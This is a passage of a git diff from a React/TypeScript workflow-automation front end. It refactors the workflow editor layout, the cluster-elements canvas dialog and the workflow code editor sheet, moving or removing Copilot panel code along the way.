+    const [activeTab, setActiveTab] = useState<'input' | 'output' | 'error'>('input');
     const [dialogOpen, setDialogOpen] = useState(false);
     const [selectedItem, setSelectedItem] = useState<TaskExecution | TriggerExecution | undefined>(
         triggerExecution || job.taskExecutions?.[0] || undefined
diff --git a/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/hooks/useWorkflowExecutionSheet.ts b/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/hooks/useWorkflowExecutionSheet.ts
deleted file mode 100644
index d730ff482ca..00000000000
--- a/client/src/pages/automation/workflow-executions/components/workflow-execution-sheet/hooks/useWorkflowExecutionSheet.ts
+++ /dev/null
@@ -1,98 +0,0 @@
-import {MODE, Source, useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
-import {getWorkflowStatusType} from '@/shared/components/workflow-executions/util/workflowExecution-utils';
-import {useGetProjectWorkflowExecutionQuery} from '@/shared/queries/automation/workflowExecutions.queries';
-import {useApplicationInfoStore} from '@/shared/stores/useApplicationInfoStore';
-import {useCallback, useMemo, useState} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-import useWorkflowExecutionSheetStore from '../../../stores/useWorkflowExecutionSheetStore';
-
-const POLLING_INTERVAL_MS = 2000;
-
-const useWorkflowExecutionSheet = () => {
-    const [copilotPanelOpen, setCopilotPanelOpen] = useState(false);
-
-    const {setWorkflowExecutionSheetOpen, workflowExecutionId, workflowExecutionSheetOpen} =
-        useWorkflowExecutionSheetStore(
-            useShallow((state) => ({
-                setWorkflowExecutionSheetOpen: state.setWorkflowExecutionSheetOpen,
-                workflowExecutionId: state.workflowExecutionId,
-                workflowExecutionSheetOpen: state.workflowExecutionSheetOpen,
-            }))
-        );
-
-    const ai = useApplicationInfoStore((state) => state.ai);
-    const setContext = useCopilotStore((state) => state.setContext);
-
-    const copilotEnabled = ai.copilot.enabled;
-
-    const {data: workflowExecution, isLoading: workflowExecutionLoading} = useGetProjectWorkflowExecutionQuery(
-        {
-            id: workflowExecutionId,
-        },
-        workflowExecutionSheetOpen
-    );
-
-    const isWorkflowRunning = useMemo(() => {
-        if (!workflowExecution?.job) {
-            return false;
-        }
-
-        return getWorkflowStatusType(workflowExecution.job, workflowExecution.triggerExecution) === 'running';
-    }, [workflowExecution]);
-
-    useGetProjectWorkflowExecutionQuery(
-        {id: workflowExecutionId},
-        workflowExecutionSheetOpen && isWorkflowRunning,
-        POLLING_INTERVAL_MS
-    );
-
-    const handleCopilotClick = useCallback(() => {
-        const {
-            context: currentContext,
-            generateConversationId,
-            resetMessages,
-            saveConversationState,
-        } = useCopilotStore.getState();
-
-        saveConversationState();
-        resetMessages();
-        generateConversationId();
-
-        setContext({
-            ...currentContext,
-            mode: MODE.ASK,
-            parameters: {},
-            source: Source.WORKFLOW_EDITOR,
-        });
-
-        setCopilotPanelOpen(true);
-    }, [setContext]);
-
-    const handleCopilotClose = useCallback(() => {
-        useCopilotStore.getState().restoreConversationState();
-        setCopilotPanelOpen(false);
-    }, []);
-
-    const handleOpenChange = useCallback(() => {
-        if (workflowExecutionSheetOpen) {
-            useCopilotStore.getState().restoreConversationState();
-            setCopilotPanelOpen(false);
-        }
-
-        setWorkflowExecutionSheetOpen(!workflowExecutionSheetOpen);
-    }, [workflowExecutionSheetOpen, setWorkflowExecutionSheetOpen]);
-
-    return {
-        copilotEnabled,
-        copilotPanelOpen,
-        handleCopilotClick,
-        handleCopilotClose,
-        handleOpenChange,
-        workflowExecution,
-        workflowExecutionLoading,
-        workflowExecutionSheetOpen,
-    };
-};
-
-export default useWorkflowExecutionSheet;
diff --git a/client/src/pages/platform/workflow-editor/WorkflowEditorLayout.tsx b/client/src/pages/platform/workflow-editor/WorkflowEditorLayout.tsx
index 726fa61b1fd..9fcad1ad6d0 100644
--- a/client/src/pages/platform/workflow-editor/WorkflowEditorLayout.tsx
+++ b/client/src/pages/platform/workflow-editor/WorkflowEditorLayout.tsx
@@ -4,19 +4,22 @@ import '@xyflow/react/dist/base.css';
 
 import './WorkflowEditorLayout.css';
 
+import Button from '@/components/Button/Button';
+import {Dialog, DialogClose, DialogContent, DialogDescription, DialogHeader, DialogTitle} from '@/components/ui/dialog';
 import useProjectsLeftSidebarStore from '@/pages/automation/project/stores/useProjectsLeftSidebarStore';
-import ClusterElementsCanvasDialog from '@/pages/platform/workflow-editor/components/ClusterElementsCanvasDialog';
 import WorkflowNodeDetailsPanel from '@/pages/platform/workflow-editor/components/WorkflowNodeDetailsPanel';
 import WorkflowTestChatPanel from '@/pages/platform/workflow-editor/components/workflow-test-chat/WorkflowTestChatPanel';
 import {useWorkflowLayout} from '@/pages/platform/workflow-editor/hooks/useWorkflowLayout';
 import {useWorkflowEditor} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
 import useRightSidebarStore from '@/pages/platform/workflow-editor/stores/useRightSidebarStore';
 import useWorkflowEditorStore from '@/pages/platform/workflow-editor/stores/useWorkflowEditorStore';
-import useCopilotPanelStore from '@/shared/components/copilot/stores/useCopilotPanelStore';
+import {useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
+import {XIcon} from 'lucide-react';
 import {Suspense, lazy, useEffect, useMemo} from 'react';
 import {twMerge} from 'tailwind-merge';
 import {useShallow} from 'zustand/shallow';
 
+import ClusterElementsWorkflowEditor from '../cluster-element-editor/components/ClusterElementsWorkflowEditor';
 import WorkflowCodeEditorSheet from './components/WorkflowCodeEditorSheet';
 import {
     DataPillPanelSkeleton,
@@ -41,7 +44,7 @@ interface WorkflowEditorLayoutProps {
 }
 
 const WorkflowEditorLayout = ({includeComponents, runDisabled, showWorkflowInputs}: WorkflowEditorLayoutProps) => {
-    const copilotPanelOpen = useCopilotPanelStore((state) => state.copilotPanelOpen);
+    const copilotPanelOpen = useCopilotStore((state) => state.copilotPanelOpen);
     const projectLeftSidebarOpen = useProjectsLeftSidebarStore((state) => state.projectLeftSidebarOpen);
     const rightSidebarOpen = useRightSidebarStore((state) => state.rightSidebarOpen);
     const workflow = useWorkflowDataStore((state) => state.workflow);
@@ -97,14 +100,6 @@ const WorkflowEditorLayout = ({includeComponents, runDisabled, showWorkflowInput
         [currentNode?.clusterRoot, currentNode?.isNestedClusterRoot]
     );
 
-    const handleClusterElementsCanvasOpenChange = (open: boolean) => {
-        setClusterElementsCanvasOpen(open);
-
-        if (!open) {
-            setRootClusterElementNodeData(undefined);
-        }
-    };
-
     useEffect(() => {
         if (isMainRootClusterElement) {
             setRootClusterElementNodeData(currentNode);
@@ -162,14 +157,50 @@ const WorkflowEditorLayout = ({includeComponents, runDisabled, showWorkflowInput
             )}
 
             {clusterElementsCanvasOpen && (
-                <ClusterElementsCanvasDialog
-                    invalidateWorkflowQueries={invalidateWorkflowQueries!}
-                    onOpenChange={handleClusterElementsCanvasOpenChange}
+                <Dialog
+                    onOpenChange={(open) => {
+                        setClusterElementsCanvasOpen(open);
+
+                        if (!open) {
+                            setRootClusterElementNodeData(undefined);
+                            useWorkflowNodeDetailsPanelStore.getState().reset();
+                        }
+                    }}
                     open={clusterElementsCanvasOpen}
-                    previousComponentDefinitions={previousComponentDefinitions}
-                    updateWorkflowMutation={updateWorkflowMutation!}
-                    workflowNodeOutputs={filteredWorkflowNodeOutputs ?? []}
-                />
+                >
+                    <DialogHeader>
+                        <DialogTitle className="sr-only"></DialogTitle>
+
+                        <DialogDescription />
+                    </DialogHeader>
+
+                    <DialogContent className="absolute bottom-4 left-16 top-12 h-[calc(100vh-64px)] w-[calc(100vw-80px)] max-w-none translate-x-0 translate-y-0 gap-2 bg-surface-main p-0">
+                        <ClusterElementsWorkflowEditor />
+
+                        <WorkflowNodeDetailsPanel
+                            className="fixed inset-y-0 right-0 rounded-l-none"
+                            closeButton={
+                                <DialogClose asChild>
+                                    <Button icon={<XIcon />} size="icon" title="Close the canvas" variant="ghost" />
+                                </DialogClose>
+                            }
+                            invalidateWorkflowQueries={invalidateWorkflowQueries!}
+                            previousComponentDefinitions={previousComponentDefinitions}
+                            updateWorkflowMutation={updateWorkflowMutation!}
+                            workflowNodeOutputs={filteredWorkflowNodeOutputs ?? []}
+                        />
+
+                        {dataPillPanelOpen && (
+                            <Suspense fallback={<DataPillPanelSkeleton />}>
+                                <DataPillPanel
+                                    className="fixed inset-y-0 right-[465px] rounded-none"
+                                    previousComponentDefinitions={previousComponentDefinitions}
+                                    workflowNodeOutputs={filteredWorkflowNodeOutputs ?? []}
+                                />
+                            </Suspense>
+                        )}
+                    </DialogContent>
+                </Dialog>
             )}
 
             {workflow.id && <WorkflowTestChatPanel />}
diff --git a/client/src/pages/platform/workflow-editor/components/ClusterElementsCanvasDialog.tsx b/client/src/pages/platform/workflow-editor/components/ClusterElementsCanvasDialog.tsx
deleted file mode 100644
index 2ecf50fa49d..00000000000
--- a/client/src/pages/platform/workflow-editor/components/ClusterElementsCanvasDialog.tsx
+++ /dev/null
@@ -1,114 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Dialog, DialogClose, DialogContent, DialogDescription, DialogHeader, DialogTitle} from '@/components/ui/dialog';
-import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
-import ClusterElementsWorkflowEditor from '@/pages/platform/cluster-element-editor/components/ClusterElementsWorkflowEditor';
-import {DataPillPanelSkeleton} from '@/pages/platform/workflow-editor/components/WorkflowEditorSkeletons';
-import WorkflowNodeDetailsPanel from '@/pages/platform/workflow-editor/components/WorkflowNodeDetailsPanel';
-import useClusterElementsCanvasDialog from '@/pages/platform/workflow-editor/components/hooks/useClusterElementsCanvasDialog';
-import {useClusterElementsCanvasDialogStore} from '@/pages/platform/workflow-editor/components/stores/useClusterElementsCanvasDialogStore';
-import useDataPillPanelStore from '@/pages/platform/workflow-editor/stores/useDataPillPanelStore';
-import CopilotPanel from '@/shared/components/copilot/CopilotPanel';
-import {ComponentDefinitionBasic, WorkflowNodeOutput} from '@/shared/middleware/platform/configuration';
-import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
-import {UpdateWorkflowMutationType} from '@/shared/types';
-import {SparklesIcon, XIcon} from 'lucide-react';
-import {Suspense, lazy} from 'react';
-import {twMerge} from 'tailwind-merge';
-
-const DataPillPanel = lazy(() => import('./datapills/DataPillPanel'));
-
-interface ClusterElementsCanvasDialogProps {
-    invalidateWorkflowQueries: () => void;
-    onOpenChange: (open: boolean) => void;
-    open: boolean;
-    previousComponentDefinitions: ComponentDefinitionBasic[];
-    updateWorkflowMutation: UpdateWorkflowMutationType;
-    workflowNodeOutputs: WorkflowNodeOutput[];
-}
-
-const ClusterElementsCanvasDialog = ({
-    invalidateWorkflowQueries,
-    onOpenChange,
-    open,
-    previousComponentDefinitions,
-    updateWorkflowMutation,
-    workflowNodeOutputs,
-}: ClusterElementsCanvasDialogProps) => {
-    const {copilotEnabled, handleCopilotClick, handleCopilotClose, handleOpenChange} = useClusterElementsCanvasDialog({
-        onOpenChange,
-    });
-
-    const copilotPanelOpen = useClusterElementsCanvasDialogStore((state) => state.copilotPanelOpen);
-    const dataPillPanelOpen = useDataPillPanelStore((state) => state.dataPillPanelOpen);
-
-    const ff_4070 = useFeatureFlagsStore()('ff-4070');
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            <DialogHeader>
-                <DialogTitle className="sr-only"></DialogTitle>
-
-                <DialogDescription />
-            </DialogHeader>
-
-            <DialogContent className="absolute bottom-4 left-16 top-12 h-[calc(100vh-64px)] w-[calc(100vw-80px)] max-w-none translate-x-0 translate-y-0 gap-2 bg-surface-main p-0">
-                <ClusterElementsWorkflowEditor />
-
-                <WorkflowNodeDetailsPanel
-                    className={twMerge(
-                        'fixed inset-y-0 right-0 rounded-l-none',
-                        copilotPanelOpen && 'right-[450px] rounded-r-none border-r-0'
-                    )}
-                    closeButton={
-                        <div className="flex items-center gap-1">
-                            {ff_4070 && copilotEnabled && (
-                                <Tooltip>
-                                    <TooltipTrigger asChild>
-                                        <Button
-                                            className="[&_svg]:size-5"
-                                            icon={<SparklesIcon />}
-                                            onClick={handleCopilotClick}
-                                            size="icon"
-                                            variant="ghost"
-                                        />
-                                    </TooltipTrigger>
-
-                                    <TooltipContent>Open Copilot panel</TooltipContent>
-                                </Tooltip>
-                            )}
-
-                            <DialogClose asChild>
-                                <Button icon={<XIcon />} size="icon" title="Close the canvas" variant="ghost" />
-                            </DialogClose>
-                        </div>
-                    }
-                    invalidateWorkflowQueries={invalidateWorkflowQueries}
-                    previousComponentDefinitions={previousComponentDefinitions}
-                    updateWorkflowMutation={updateWorkflowMutation}
-                    workflowNodeOutputs={workflowNodeOutputs}
-                />
-
-                {dataPillPanelOpen && (
-                    <Suspense fallback={<DataPillPanelSkeleton />}>
-                        <DataPillPanel
-                            className={twMerge(
-                                'fixed inset-y-0 right-[465px] rounded-none',
-                                copilotPanelOpen && 'right-[915px]'
-                            )}
-                            previousComponentDefinitions={previousComponentDefinitions}
-                            workflowNodeOutputs={workflowNodeOutputs}
-                        />
-                    </Suspense>
-                )}
-
-                <CopilotPanel
-                    className="fixed inset-y-0 right-0 rounded-r-md border-l"
-                    onClose={handleCopilotClose}
-                    open={copilotPanelOpen}
-                />
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default ClusterElementsCanvasDialog;
diff --git a/client/src/pages/platform/workflow-editor/components/WorkflowCodeEditorSheet.tsx b/client/src/pages/platform/workflow-editor/components/WorkflowCodeEditorSheet.tsx
index ce2c7e48dec..151049d2f20 100644
--- a/client/src/pages/platform/workflow-editor/components/WorkflowCodeEditorSheet.tsx
+++ b/client/src/pages/platform/workflow-editor/components/WorkflowCodeEditorSheet.tsx
@@ -1,18 +1,31 @@
 import Button from '@/components/Button/Button';
-import UnsavedChangesAlertDialog from '@/components/UnsavedChangesAlertDialog';
+import {
+    AlertDialog,
+    AlertDialogAction,
+    AlertDialogCancel,
+    AlertDialogContent,
+    AlertDialogDescription,
+    AlertDialogFooter,
+    AlertDialogHeader,
+    AlertDialogTitle,
+} from '@/components/ui/alert-dialog';
 import {ResizableHandle, ResizablePanel, ResizablePanelGroup} from '@/components/ui/resizable';
-import {Sheet, SheetCloseButton, SheetContent, SheetTitle} from '@/components/ui/sheet';
+import {Sheet, SheetCloseButton, SheetContent, SheetHeader, SheetTitle} from '@/components/ui/sheet';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import WorkflowExecutionsTestOutput from '@/pages/platform/workflow-editor/components/WorkflowExecutionsTestOutput';
 import WorkflowTestConfigurationDialog from '@/pages/platform/workflow-editor/components/WorkflowTestConfigurationDialog';
-import useWorkflowCodeEditorSheet from '@/pages/platform/workflow-editor/hooks/useWorkflowCodeEditorSheet';
+import {useWorkflowEditor} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
 import MonacoEditorLoader from '@/shared/components/MonacoEditorLoader';
-import CopilotPanel from '@/shared/components/copilot/CopilotPanel';
+import {usePersistJobId} from '@/shared/hooks/usePersistJobId';
+import {useWorkflowTestStream} from '@/shared/hooks/useWorkflowTestStream';
 import {Workflow, WorkflowTestConfiguration} from '@/shared/middleware/platform/configuration';
-import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
-import {PlayIcon, RefreshCwIcon, SaveIcon, Settings2Icon, SparklesIcon, SquareIcon} from 'lucide-react';
-import {VisuallyHidden} from 'radix-ui';
-import {Suspense, lazy} from 'react';
+import {WorkflowTestApi, WorkflowTestExecution} from '@/shared/middleware/platform/workflow/test';
+import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
+import {getTestWorkflowAttachRequest, getTestWorkflowStreamPostRequest} from '@/shared/util/testWorkflow-utils';
+import {PlayIcon, RefreshCwIcon, SaveIcon, Settings2Icon, SquareIcon} from 'lucide-react';
+import {Suspense, lazy, useCallback, useEffect, useState} from 'react';
+
+const workflowTestApi = new WorkflowTestApi();
 
 interface WorkflowCodeEditorSheetProps {
     invalidateWorkflowQueries: () => void;
@@ -35,189 +48,274 @@ const WorkflowCodeEditorSheet = ({
     workflow,
     workflowTestConfiguration,
 }: WorkflowCodeEditorSheetProps) => {
-    const {
-        copilotEnabled,
-        copilotPanelOpen,
-        definition,
-        dirty,
-        handleCopilotClick,
-        handleCopilotClose,
-        handleDefinitionChange,
-        handleOpenChange,
-        handleRunClick,
-        handleSaveClick,
-        handleStopClick,
-        handleUnsavedChangesAlertDialogClose,
-        handleUnsavedChangesAlertDialogOpen,
-        handleWorkflowTestConfigurationDialog,
-        showWorkflowTestConfigurationDialog,
-        unsavedChangesAlertDialogOpen,
-        workflowIsRunning,
-        workflowTestExecution,
-    } = useWorkflowCodeEditorSheet({invalidateWorkflowQueries, onSheetOpenClose, workflow});
-
-    const ff_4076 = useFeatureFlagsStore()('ff-4076');
+    const [dirty, setDirty] = useState<boolean>(false);
+    const [definition, setDefinition] = useState<string>(workflow.definition!);
+    const [jobId, setJobId] = useState<string | null>(null);
+    const [showCloseAlertDialog, setShowCloseAlertDialog] = useState(false);
+    const [showWorkflowTestConfigurationDialog, setShowWorkflowTestConfigurationDialog] = useState(false);
+    const [workflowTestExecution, setWorkflowTestExecution] = useState<WorkflowTestExecution>();
+    const [workflowIsRunning, setWorkflowIsRunning] = useState(false);
 
-    return (
-        <Sheet onOpenChange={handleOpenChange} open={sheetOpen}>
-            <VisuallyHidden.Root>
-                <SheetTitle>Edit Workflow</SheetTitle>
-            </VisuallyHidden.Root>
+    const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
+
+    const {getPersistedJobId, persistJobId} = usePersistJobId(workflow.id, currentEnvironmentId);
+    const {close: closeWorkflowTestStream, setStreamRequest} = useWorkflowTestStream({
+        onError: () => {
+            setWorkflowTestExecution(undefined);
+            setWorkflowIsRunning(false);
+            setJobId(null);
+        },
+        onResult: (execution) => {
+            setWorkflowTestExecution(execution);
+            setWorkflowIsRunning(false);
+            setJobId(null);
+        },
+        onStart: (jobId) => setJobId(jobId),
+        workflowId: workflow.id!,
+    });
+    const {updateWorkflowMutation} = useWorkflowEditor();
+
+    const handleStopClick = useCallback(() => {
+        setWorkflowIsRunning(false);
+        setStreamRequest(null);
+        closeWorkflowTestStream();
+
+        if (jobId) {
+            workflowTestApi.stopWorkflowTest({jobId}, {keepalive: true}).finally(() => {
+                persistJobId(null);
+                setJobId(null);
+            });
+        }
+    }, [closeWorkflowTestStream, jobId, persistJobId, setStreamRequest]);
+
+    const handleRunClick = () => {
+        setWorkflowTestExecution(undefined);
+        setWorkflowIsRunning(true);
+        setJobId(null);
+        persistJobId(null);
+
+        if (workflow?.id) {
+            const request = getTestWorkflowStreamPostRequest({
+                environmentId: currentEnvironmentId,
+                id: workflow.id,
+            });
+
+            setStreamRequest(request);
+        }
+    };
+
+    const handleWorkflowCodeEditorSheetSave = (workflow: Workflow, definition: string) => {
+        if (workflow && workflow.id) {
+            try {
+                JSON.parse(definition);
+
+                updateWorkflowMutation!.mutate(
+                    {
+                        id: workflow.id,
+                        workflow: {
+                            definition,
+                            version: workflow.version,
+                        },
+                    },
+                    {
+                        onError: () => setDirty(true),
+                        onSuccess: () => {
+                            setDirty(false);
+
+                            invalidateWorkflowQueries();
+                        },
+                    }
+                );
+            } catch (error) {
+                console.error(`Invalid JSON: ${error}`);
+            }
+        }
+    };
+
+    const handleOpenOnChange = (open: boolean) => {
+        if (!open && dirty) {
+            setShowCloseAlertDialog(true);
+        } else {
+            if (onSheetOpenClose) {
+                onSheetOpenClose(open);
+            }
+        }
+    };
 
+    useEffect(() => {
+        if (!workflow.id || currentEnvironmentId === undefined) return;
+
+        const jobId = getPersistedJobId();
+
+        if (!jobId) {
+            return;
+        }
+
+        setWorkflowIsRunning(true);
+        setJobId(jobId);
+
+        setStreamRequest(getTestWorkflowAttachRequest({jobId}));
+    }, [workflow.id, currentEnvironmentId, getPersistedJobId, setWorkflowIsRunning, setJobId, setStreamRequest]);
+
+    return (
+        <Sheet onOpenChange={handleOpenOnChange} open={sheetOpen}>
             <SheetContent
-                className="absolute bottom-4 right-4 top-3 flex h-auto w-[90%] flex-row gap-0 rounded-md bg-surface-neutral-secondary p-0 sm:max-w-[90%]"
+                className="flex w-11/12 flex-col gap-0 p-0 sm:max-w-screen-lg"
                 onFocusOutside={(event) => event.preventDefault()}
                 onPointerDownOutside={(event) => event.preventDefault()}
             >
-                <div className="flex min-w-0 flex-1 flex-col">
-                    <header className="flex w-full shrink-0 items-center justify-between gap-x-3 rounded-t-md border-b border-b-border/50 bg-surface-neutral-primary p-3">
-                        <span className="text-lg font-semibold">Edit Workflow</span>
-
-                        <div className="flex items-center gap-1">
-                            <Tooltip>
-                                <TooltipTrigger asChild>
-                                    <Button
-                                        disabled={testConfigurationDisabled}
-                                        icon={<Settings2Icon />}
-                                        onClick={() => handleWorkflowTestConfigurationDialog(true)}
-                                        size="icon"
-                                        variant="ghost"
-                                    />
-                                </TooltipTrigger>
-
-                                <TooltipContent>Set the workflow test configuration</TooltipContent>
-                            </Tooltip>
+                <SheetHeader className="flex flex-row items-center justify-between space-y-0 border-b border-b-border/50 p-3">
+                    <SheetTitle>Edit Workflow</SheetTitle>
 
-                            <Tooltip>
-                                <TooltipTrigger asChild>
-                                    <Button
-                                        disabled={!dirty}
-                                        icon={<SaveIcon />}
-                                        onClick={() => handleSaveClick(workflow, definition)}
-                                        size="icon"
-                                        type="submit"
-                                        variant="ghost"
-                                    />
-                                </TooltipTrigger>
+                    <div className="flex items-center gap-1">
+                        <Tooltip>
+                            <TooltipTrigger asChild>
+                                <Button
+                                    disabled={testConfigurationDisabled}
+                                    icon={<Settings2Icon />}
+                                    onClick={() => setShowWorkflowTestConfigurationDialog(true)}
+                                    size="icon"
+                                    variant="ghost"
+                                />
+                            </TooltipTrigger>
 
-                                <TooltipContent>Save current workflow</TooltipContent>
-                            </Tooltip>
+                            <TooltipContent>Set the workflow test configuration</TooltipContent>
+                        </Tooltip>
 
-                            {!workflowIsRunning && (
-                                <Tooltip>
-                                    <TooltipTrigger asChild>
-                                        <span tabIndex={0}>
-                                            <Button
-                                                disabled={runDisabled || dirty}
-                                                icon={<PlayIcon className="text-success" />}
-                                                onClick={handleRunClick}
-                                                size="icon"
-                                                variant="ghost"
-                                            />
-                                        </span>
-                                    </TooltipTrigger>
-
-                                    <TooltipContent>
-                                        {runDisabled
-                                            ? `The workflow cannot be executed. Please set all required workflow input parameters, connections and component properties.`
-                                            : `Run the current workflow`}
-                                    </TooltipContent>
-                                </Tooltip>
-                            )}
-
-                            {workflowIsRunning && (
+                        <Tooltip>
+                            <TooltipTrigger asChild>
                                 <Button
-                                    icon={<SquareIcon />}
-                                    onClick={handleStopClick}
+                                    disabled={!dirty}
+                                    icon={<SaveIcon />}
+                                    onClick={() => handleWorkflowCodeEditorSheetSave(workflow, definition)}
                                     size="icon"
-                                    variant="destructive"
+                                    type="submit"
+                                    variant="ghost"
                                 />
-                            )}
+                            </TooltipTrigger>
+
+                            <TooltipContent>Save current workflow</TooltipContent>
+                        </Tooltip>
 
-                            {ff_4076 && copilotEnabled && (
-                                <Tooltip>
-                                    <TooltipTrigger asChild>
+                        {!workflowIsRunning && (
+                            <Tooltip>
+                                <TooltipTrigger asChild>
+                                    <span tabIndex={0}>
                                         <Button
-                                            className="[&_svg]:size-5"
-                                            icon={<SparklesIcon />}
-                                            onClick={handleCopilotClick}
+                                            disabled={runDisabled || dirty}
+                                            icon={<PlayIcon className="text-success" />}
+                                            onClick={handleRunClick}
                                             size="icon"
                                             variant="ghost"
                                         />
-                                    </TooltipTrigger>
+                                    </span>
+                                </TooltipTrigger>
 
-                                    <TooltipContent>Open Copilot panel</TooltipContent>
-                                </Tooltip>
-                            )}
+                                <TooltipContent>
+                                    {runDisabled
+                                        ? `The workflow cannot be executed. Please set all required workflow input parameters, connections and component properties.`
+                                        : `Run the current workflow`}
+                                </TooltipContent>
+                            </Tooltip>
+                        )}
 
-                            <SheetCloseButton />
-                        </div>
-                    </header>
+                        {workflowIsRunning && (
+                            <Button icon={<SquareIcon />} onClick={handleStopClick} size="icon" variant="destructive" />
+                        )}
 
-                    <div className="flex min-h-0 flex-1">
-                        <ResizablePanelGroup
-                            className="flex-1 rounded-md bg-surface-neutral-primary"
-                            direction="vertical"
-                        >
-                            <ResizablePanel defaultSize={75}>
-                                <Suspense fallback={<MonacoEditorLoader />}>
-                                    <MonacoEditor
-                                        className="size-full"
-                                        defaultLanguage={workflow.format?.toLowerCase() ?? 'json'}
-                                        onChange={(value) => handleDefinitionChange(value as string)}
-                                        onMount={(editor) => editor.focus()}
-                                        options={{
-                                            folding: true,
-                                            foldingStrategy: 'indentation',
-                                        }}
-                                        value={definition}
-                                    />
-                                </Suspense>
-                            </ResizablePanel>
-
-                            <ResizableHandle className="bg-muted" />
-
-                            <ResizablePanel defaultSize={25}>
-                                {workflowIsRunning ? (
-                                    <div className="flex items-center gap-x-1 p-3">
-                                        <span className="flex animate-spin text-gray-400">
-                                            <RefreshCwIcon className="size-4" />
-                                        </span>
-
-                                        <span className="text-muted-foreground">Workflow is running...</span>
-                                    </div>
-                                ) : (
-                                    <WorkflowExecutionsTestOutput
-                                        resizablePanelSize={40}
-                                        workflowIsRunning={workflowIsRunning}
-                                        workflowTestExecution={workflowTestExecution}
-                                    />
-                                )}
-                            </ResizablePanel>
-                        </ResizablePanelGroup>
+                        <SheetCloseButton />
                     </div>
-                </div>
+                </SheetHeader>
+
+                <ResizablePanelGroup className="flex-1" direction="vertical">
+                    <ResizablePanel defaultSize={75}>
+                        <Suspense fallback={<MonacoEditorLoader />}>
+                            <MonacoEditor
+                                className="size-full"
+                                defaultLanguage={workflow.format?.toLowerCase() ?? 'json'}
+                                onChange={(value) => {
+                                    setDefinition(value as string);
+
+                                    if (value === workflow.definition) {
+                                        setDirty(false);
+                                    } else {
+                                        setDirty(true);
+                                    }
+                                }}
+                                onMount={(editor) => editor.focus()}
+                                options={{
+                                    folding: true,
+                                    foldingStrategy: 'indentation',
+                                }}
+                                value={workflow.definition!}
+                            />
+                        </Suspense>
+                    </ResizablePanel>
+
+                    <ResizableHandle className="bg-muted" />
+
+                    <ResizablePanel defaultSize={30}>
+                        {workflowIsRunning ? (
+                            <div className="flex items-center gap-x-1 p-3">
+                                <span className="flex animate-spin text-gray-400">
+                                    <RefreshCwIcon className="size-4" />
+                                </span>
+
+                                <span className="text-muted-foreground">Workflow is running...</span>
+                            </div>
+                        ) : (
+                            <WorkflowExecutionsTestOutput
+                                resizablePanelSize={40}
+                                workflowIsRunning={workflowIsRunning}
+                                workflowTestExecution={workflowTestExecution}
+                            />
+                        )}
+                    </ResizablePanel>
+                </ResizablePanelGroup>
 
-                <CopilotPanel
-                    className="h-full rounded-r-md border-l"
-                    onClose={handleCopilotClose}
-                    open={copilotPanelOpen}
-                />
+                {showWorkflowTestConfigurationDialog && (
+                    <WorkflowTestConfigurationDialog
+                        onClose={() => setShowWorkflowTestConfigurationDialog(false)}
+                        workflow={workflow}
+                        workflowTestConfiguration={workflowTestConfiguration}
+                    />
+                )}
             </SheetContent>
 
-            <UnsavedChangesAlertDialog
-                onCancel={() => handleUnsavedChangesAlertDialogOpen(false)}
-                onClose={handleUnsavedChangesAlertDialogClose}
-                open={unsavedChangesAlertDialogOpen}
-            />
-
-            {showWorkflowTestConfigurationDialog && (
-                <WorkflowTestConfigurationDialog
-                    onClose={() => handleWorkflowTestConfigurationDialog(false)}
-                    workflow={workflow}
-                    workflowTestConfiguration={workflowTestConfiguration}
-                />
-            )}
+            <AlertDialog open={showCloseAlertDialog}>
+                <AlertDialogContent>
+                    <AlertDialogHeader>
+                        <AlertDialogTitle>Are you absolutely sure?</AlertDialogTitle>
+
+                        <AlertDialogDescription>
+                            There are unsaved changes. This action cannot be undone.
+                        </AlertDialogDescription>
+                    </AlertDialogHeader>
+
+                    <AlertDialogFooter>
+                        <AlertDialogCancel
+                            className="shadow-none"
+                            onClick={() => {
+                                setShowCloseAlertDialog(false);
+                            }}
+                        >
+                            Cancel
+                        </AlertDialogCancel>
+
+                        <AlertDialogAction
+                            onClick={() => {
+                                setShowCloseAlertDialog(false);
+
+                                if (onSheetOpenClose) {
+                                    onSheetOpenClose(true);
+                                }
+                            }}
+                        >
+                            Close
+                        </AlertDialogAction>
+                    </AlertDialogFooter>
+                </AlertDialogContent>
+            </AlertDialog>
         </Sheet>
     );
 };
diff --git a/client/src/pages/platform/workflow-editor/components/WorkflowEditor.tsx b/client/src/pages/platform/workflow-editor/components/WorkflowEditor.tsx
index 52ef447e490..6e2b8557a22 100644
--- a/client/src/pages/platform/workflow-editor/components/WorkflowEditor.tsx
+++ b/client/src/pages/platform/workflow-editor/components/WorkflowEditor.tsx
@@ -3,16 +3,17 @@ import useRightSidebarStore from '@/pages/platform/workflow-editor/stores/useRig
 import useWorkflowDataStore from '@/pages/platform/workflow-editor/stores/useWorkflowDataStore';
 import useWorkflowNodeDetailsPanelStore from '@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore';
 import useWorkflowTestChatStore from '@/pages/platform/workflow-editor/stores/useWorkflowTestChatStore';
-import useCopilotPanelStore from '@/shared/components/copilot/stores/useCopilotPanelStore';
-import {CANVAS_BACKGROUND_COLOR} from '@/shared/constants';
+import {useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
+import {CANVAS_BACKGROUND_COLOR, MINIMAP_MASK_COLOR, MINIMAP_NODE_COLOR} from '@/shared/constants';
 import {
     ComponentDefinitionBasic,
     TaskDispatcherDefinitionBasic,
     Workflow,
 } from '@/shared/middleware/platform/configuration';
 import {ClickedDefinitionType} from '@/shared/types';
-import {Background, BackgroundVariant, Controls, ReactFlow, useReactFlow} from '@xyflow/react';
